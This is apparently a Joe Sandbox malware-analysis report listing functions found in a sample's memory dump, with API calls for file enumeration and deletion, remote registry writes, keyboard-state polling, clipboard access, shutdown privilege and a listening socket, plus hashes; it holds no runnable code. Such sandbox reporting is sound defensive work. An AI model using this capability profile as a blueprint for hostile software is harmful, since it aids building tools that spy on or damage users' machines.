_wcscmp.LIBCMT ref: 0086EFCB
_wcscmp.LIBCMT ref: 0086EFE2
GetFileAttributesW.KERNEL32(?), ref: 0086EFF4
SetFileAttributesW.KERNEL32(?,?), ref: 0086F00E
FindNextFileW.KERNEL32(00000000,?), ref: 0086F026
FindClose.KERNEL32(00000000), ref: 0086F031
FindFirstFileW.KERNEL32(*.*,?), ref: 0086F04D
_wcscmp.LIBCMT ref: 0086F074
_wcscmp.LIBCMT ref: 0086F08B
SetCurrentDirectoryW.KERNEL32(?), ref: 0086F09D
SetCurrentDirectoryW.KERNEL32(008B8920), ref: 0086F0BB
FindNextFileW.KERNEL32(00000000,00000010), ref: 0086F0C5
FindClose.KERNEL32(00000000), ref: 0086F0D2
FindClose.KERNEL32(00000000), ref: 0086F0E4

Strings

*.*, xrefs: 0086F048

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 074087e07c16ea540d85fae8a3a6a0456fc404700b232afe0deda3d064ab50d0
Instruction ID: 3aceb367db35c16d629cb426b26cf7c8594733e78c90c8385ee8abb6807656c2
Opcode Fuzzy Hash: 074087e07c16ea540d85fae8a3a6a0456fc404700b232afe0deda3d064ab50d0
Instruction Fuzzy Hash: 3131B4325016196BDB14EFA8EC49AEE77ACFF48360F110175EA14D2192DB74DA84CF62

Function 00880857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00880953
RegCreateKeyExW.ADVAPI32(?,?,00000000,0088F910,00000000,?,00000000,?,?), ref: 008809C1
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00880A09
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00880A92
RegCloseKey.ADVAPI32(?), ref: 00880DB2
RegCloseKey.ADVAPI32(00000000), ref: 00880DBF

Strings

REG_QWORD, xrefs: 00880D00
REG_MULTI_SZ, xrefs: 00880B7A
REG_SZ, xrefs: 00880AD0
REG_DWORD, xrefs: 00880C83
REG_EXPAND_SZ, xrefs: 00880A2F
REG_BINARY, xrefs: 00880D4D

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: f2869f6571d4eebcc7c63aaca7800fd11d95ff29125e238564b86ffca0590b34
Instruction ID: 15543e56107c4846c8abd3001786493afa5a1741ffc115ea4b1fbafeaff7c662
Opcode Fuzzy Hash: f2869f6571d4eebcc7c63aaca7800fd11d95ff29125e238564b86ffca0590b34
Instruction Fuzzy Hash: 620238756046119FCB54EF28D841E2AB7E5FF89314F048568F99ADB3A2DB30EC45CB82

Function 0086F0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 0086F113
_wcscmp.LIBCMT ref: 0086F128
_wcscmp.LIBCMT ref: 0086F13F

Part of subcall function 00864385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 008643A0

FindNextFileW.KERNEL32(00000000,?), ref: 0086F16E
FindClose.KERNEL32(00000000), ref: 0086F179
FindFirstFileW.KERNEL32(*.*,?), ref: 0086F195
_wcscmp.LIBCMT ref: 0086F1BC
_wcscmp.LIBCMT ref: 0086F1D3
SetCurrentDirectoryW.KERNEL32(?), ref: 0086F1E5
SetCurrentDirectoryW.KERNEL32(008B8920), ref: 0086F203
FindNextFileW.KERNEL32(00000000,00000010), ref: 0086F20D
FindClose.KERNEL32(00000000), ref: 0086F21A
FindClose.KERNEL32(00000000), ref: 0086F22C

Strings

*.*, xrefs: 0086F190

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: ccd4c261221c333e67bdc041ff11be04ec9d08e294b5c4ea14e83f3816951e54
Instruction ID: 060170e47717cf857d68dd7f7f94653b2d0edaec6660e6a92e160fac44e0401e
Opcode Fuzzy Hash: ccd4c261221c333e67bdc041ff11be04ec9d08e294b5c4ea14e83f3816951e54
Instruction Fuzzy Hash: 1C31C436500219AADB20AF68FC59EEE77ACFF45360F110171FA14E2292DB34DA85CF64

Function 0086A1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0086A20F
__swprintf.LIBCMT ref: 0086A231
CreateDirectoryW.KERNEL32(?,00000000), ref: 0086A26E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0086A293
_memset.LIBCMT ref: 0086A2B2
_wcsncpy.LIBCMT ref: 0086A2EE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0086A323
CloseHandle.KERNEL32(00000000), ref: 0086A32E
RemoveDirectoryW.KERNEL32(?), ref: 0086A337
CloseHandle.KERNEL32(00000000), ref: 0086A341

Strings

:, xrefs: 0086A252
\, xrefs: 0086A247
\??\%s, xrefs: 0086A22B

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 5b78bfe6ce8e03c12c06c77825899d0b918e49df8db2203de7dede2a725327c9
Instruction ID: 6d16317e10483618c65df60ac73b902cf940ad030d701f8bc750f1f4ecda4075
Opcode Fuzzy Hash: 5b78bfe6ce8e03c12c06c77825899d0b918e49df8db2203de7dede2a725327c9
Instruction Fuzzy Hash: 0231B2B5500119ABDB21DFA4DC49FEB77BCFF88701F1040B6F608E2261EB7096848B25

Function 00857CAF Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00858202: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0085821E
Part of subcall function 00858202: GetLastError.KERNEL32(?,00857CE2,?,?,?), ref: 00858228
Part of subcall function 00858202: GetProcessHeap.KERNEL32(00000008,?,?,00857CE2,?,?,?), ref: 00858237
Part of subcall function 00858202: HeapAlloc.KERNEL32(00000000,?,00857CE2,?,?,?), ref: 0085823E
Part of subcall function 00858202: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00858255

Part of subcall function 0085829F: GetProcessHeap.KERNEL32(00000008,00857CF8,00000000,00000000,?,00857CF8,?), ref: 008582AB
Part of subcall function 0085829F: HeapAlloc.KERNEL32(00000000,?,00857CF8,?), ref: 008582B2
Part of subcall function 0085829F: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00857CF8,?), ref: 008582C3

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00857D13
_memset.LIBCMT ref: 00857D28
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00857D47
GetLengthSid.ADVAPI32(?), ref: 00857D58
GetAce.ADVAPI32(?,00000000,?), ref: 00857D95
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00857DB1
GetLengthSid.ADVAPI32(?), ref: 00857DCE
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00857DDD
HeapAlloc.KERNEL32(00000000), ref: 00857DE4
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00857E05
CopySid.ADVAPI32(00000000), ref: 00857E0C
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00857E3D
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00857E63
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00857E77

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 1044a48045b3241d4bf1a419dafdd17d3eea41e848927b184112f930d4924f4d
Instruction ID: 63b5a138faba3cf1c75d5c81ea589f37416775ab6e00e89e941b9a612c6804db
Opcode Fuzzy Hash: 1044a48045b3241d4bf1a419dafdd17d3eea41e848927b184112f930d4924f4d
Instruction Fuzzy Hash: D6617A71900609EFDF01CFA8EC85AEEBB79FF04701F44816AE915E6291DB319E09CB60

Function 008166E1 Relevance: 18.4, Strings: 14, Instructions: 889COMMON

Download Yara Rule

Strings

UTF), xrefs: 008510FA
UTF16), xrefs: 008510CF
LIMIT_RECURSION=, xrefs: 008511FC
LF), xrefs: 008512A4
NO_AUTO_POSSESS), xrefs: 0085112E
CR), xrefs: 00851287
BSR_ANYCRLF), xrefs: 0085131E
LIMIT_MATCH=, xrefs: 00851170
NO_START_OPT), xrefs: 0085114F
BSR_UNICODE), xrefs: 00851338
CRLF), xrefs: 008512C1
UCP), xrefs: 0085110D
ANYCRLF), xrefs: 008512FB
ANY), xrefs: 008512DE

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
API String ID: 0-4052911093
Opcode ID: 5e6183bcc33546d1373d01b70bb06fc1219a03af4a3b8423f5ac4df60a59738d
Instruction ID: 445978c7de024f28289768b66f3da7dd69dc504fe5491a863a5db402879e9b75
Opcode Fuzzy Hash: 5e6183bcc33546d1373d01b70bb06fc1219a03af4a3b8423f5ac4df60a59738d
Instruction Fuzzy Hash: 08727D75E00219DBDF24CF58C8947EEB7B5FF48315F14816AE949EB280EB349A85CB90

Function 0086001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00860097
SetKeyboardState.USER32(?), ref: 00860102
GetAsyncKeyState.USER32(000000A0), ref: 00860122
GetKeyState.USER32(000000A0), ref: 00860139
GetAsyncKeyState.USER32(000000A1), ref: 00860168
GetKeyState.USER32(000000A1), ref: 00860179
GetAsyncKeyState.USER32(00000011), ref: 008601A5
GetKeyState.USER32(00000011), ref: 008601B3
GetAsyncKeyState.USER32(00000012), ref: 008601DC
GetKeyState.USER32(00000012), ref: 008601EA
GetAsyncKeyState.USER32(0000005B), ref: 00860213
GetKeyState.USER32(0000005B), ref: 00860221

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: ee95083ed532101aeb6593a681148eb02adc5a098c13af2f905e81e18931ef14
Instruction ID: cda3ddec7eb214e7ad85368380abb2c126bc272e96f79a26d0420fdfbca11fd9
Opcode Fuzzy Hash: ee95083ed532101aeb6593a681148eb02adc5a098c13af2f905e81e18931ef14
Instruction Fuzzy Hash: 9D51ED2090478829FB35D76489147EBBFB4FF12380F094599D5C29A1C3DAA49B8CCF66

Function 008803DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00880E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0087FDAD,?,?), ref: 00880E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 008804AC

Part of subcall function 00809837: __itow.LIBCMT ref: 00809862
Part of subcall function 00809837: __swprintf.LIBCMT ref: 008098AC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0088054B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 008805E3
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00880822
RegCloseKey.ADVAPI32(00000000), ref: 0088082F

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 06001ce94bc4e2a30f1f7f6ae97a7ed62c66511a93f7cc51d7d7985fe6a40861
Instruction ID: 2b8905b69b0dcb28ad91e4c36456f3a3047061a4dad75784f7a7212f8634105d
Opcode Fuzzy Hash: 06001ce94bc4e2a30f1f7f6ae97a7ed62c66511a93f7cc51d7d7985fe6a40861
Instruction Fuzzy Hash: 21E15F71604214AFCB54EF28C891D2ABBE4FF89314B04856DF949D72A2D731E945CF52

Function 00874164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0087418B
EmptyClipboard.USER32 ref: 00874191
GlobalAlloc.KERNEL32(00000002,?), ref: 008741A6
CloseClipboard.USER32 ref: 00874245

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: ec92419138fee3a896ddd1a13a2dc6f4c9cfef45a472249dda8758886ce86db2
Instruction ID: c9a48f12cbb0f6fe96f7938bf648445666cb2034f02c5eadf49cc5d6718afd08
Opcode Fuzzy Hash: ec92419138fee3a896ddd1a13a2dc6f4c9cfef45a472249dda8758886ce86db2
Instruction Fuzzy Hash: D6217F752002149FDB10AF68EC09B697BA8FF14711F10C029FA4ADB2A3EB30EC51CB55

Function 008637EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00804750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00804743,?,?,008037AE,?), ref: 00804770

Part of subcall function 00864A31: GetFileAttributesW.KERNEL32(?,0086370B), ref: 00864A32

FindFirstFileW.KERNEL32(?,?), ref: 008638A3
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 0086394B
MoveFileW.KERNEL32(?,?), ref: 0086395E
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 0086397B
FindNextFileW.KERNEL32(00000000,00000010), ref: 0086399D
FindClose.KERNEL32(00000000,?,?,?,?), ref: 008639B9

Strings

\*.*, xrefs: 0086384E, 00863857, 0086386C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 76fa6fc15bfc400de8572f46b86cfcf157f0333d0a0b3deca566a00e69cfb034
Instruction ID: 6b25ce850480e8aa8e0e5ba39cd0898a22387e1732ff58095284d8b9f8d15e5c
Opcode Fuzzy Hash: 76fa6fc15bfc400de8572f46b86cfcf157f0333d0a0b3deca566a00e69cfb034
Instruction Fuzzy Hash: 67514D3180514DAACF05EBA8DD929EDBB79FF15304F600069E406F71A2EB316F09CB62

Function 0086F3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0086F440
Sleep.KERNEL32(0000000A), ref: 0086F470
_wcscmp.LIBCMT ref: 0086F484
_wcscmp.LIBCMT ref: 0086F49F
FindNextFileW.KERNEL32(?,?), ref: 0086F53D
FindClose.KERNEL32(00000000), ref: 0086F553

Strings

*.*, xrefs: 0086F425

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 018befbf657f975582d695dd29047f8d7cb494f208b626a97ed6147137dbeaa4
Instruction ID: b54060951285fb3a72e4105c27a2a701b3725724db73deeb5bf8f11621ec58da
Opcode Fuzzy Hash: 018befbf657f975582d695dd29047f8d7cb494f208b626a97ed6147137dbeaa4
Instruction Fuzzy Hash: F7416C71904219AFDF14EF68EC49AEEBBB4FF05314F104466E915E2292EB30DE84CB51

Function 00815760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 008158A5
_memmove.LIBCMT ref: 008158F5
_memmove.LIBCMT ref: 0081595B

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: b799886d5938455c60a9339ca7633a670e6ef7d884d11f4a9b4174df0ef8651d
Instruction ID: 8c17a6aa1abcc66e8b94a90332dee193a9cbed17045e8707a82b202c7b9c4ea5
Opcode Fuzzy Hash: b799886d5938455c60a9339ca7633a670e6ef7d884d11f4a9b4174df0ef8651d
Instruction Fuzzy Hash: 8D128C70A00609DFDF04DFA9D981AEEB7F9FF88300F104529E846E7291EB35A995CB51

Function 00863B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00804750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00804743,?,?,008037AE,?), ref: 00804770

Part of subcall function 00864A31: GetFileAttributesW.KERNEL32(?,0086370B), ref: 00864A32

FindFirstFileW.KERNEL32(?,?), ref: 00863B89
DeleteFileW.KERNEL32(?,?,?,?), ref: 00863BD9
FindNextFileW.KERNEL32(00000000,00000010), ref: 00863BEA
FindClose.KERNEL32(00000000), ref: 00863C01
FindClose.KERNEL32(00000000), ref: 00863C0A

Strings

\*.*, xrefs: 00863B5B

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: abc99e5829d0d5acd9a0110328cf945639356737fc60ad30c42ad56569d78a96
Instruction ID: e35253530ecb784fc9ded504290b8907c21bc31e22e00a2b7a4cf14681ad1084
Opcode Fuzzy Hash: abc99e5829d0d5acd9a0110328cf945639356737fc60ad30c42ad56569d78a96
Instruction Fuzzy Hash: B2315E314083859BC201EB68DC918AFB7A8FE95314F40492DF5D5D21D1EB21AA09CB63

Function 008651BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 008587E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0085882B
Part of subcall function 008587E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00858858
Part of subcall function 008587E1: GetLastError.KERNEL32 ref: 00858865

ExitWindowsEx.USER32(?,00000000), ref: 008651F9

Strings

SeShutdownPrivilege, xrefs: 008651C9
@, xrefs: 008651EC
, xrefs: 008651E7

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 077f183d9143be1a6aec7abcd8f503aae4853b4dfde5be80ee0a2f16b0de75bf
Instruction ID: a7d60b134eba51c72c22bb9bed333e3a7782f1834f5b51e5587f1b7245e3928e
Opcode Fuzzy Hash: 077f183d9143be1a6aec7abcd8f503aae4853b4dfde5be80ee0a2f16b0de75bf
Instruction Fuzzy Hash: 0F012B317916156BF728627CACABFBB7358FB05345F220421FD13E22D2DA511C008690

Function 00876283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 008762DC
WSAGetLastError.WSOCK32(00000000), ref: 008762EB
bind.WSOCK32(00000000,?,00000010), ref: 00876307
listen.WSOCK32(00000000,00000005), ref: 00876316
WSAGetLastError.WSOCK32(00000000), ref: 00876330
closesocket.WSOCK32(00000000,00000000), ref: 00876344

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

